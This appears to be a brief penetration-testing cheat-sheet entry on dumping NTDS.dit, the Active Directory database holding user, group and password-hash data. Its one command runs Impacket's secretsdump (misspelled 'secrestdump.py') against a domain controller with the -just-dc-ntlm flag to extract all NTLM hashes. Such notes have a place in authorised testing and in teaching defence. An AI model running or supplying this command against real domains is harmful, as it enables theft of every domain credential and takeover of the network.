Dumping the NTDS.dit

• A database used to store AD data, including:

  • User information

  • Group information

  • Security Descriptors

  • Password hashes

Dumping NTDS.dit

secrestdump.py DOMAIN/USER:'PASSWORD'@DC_IP -just-dc-ntlm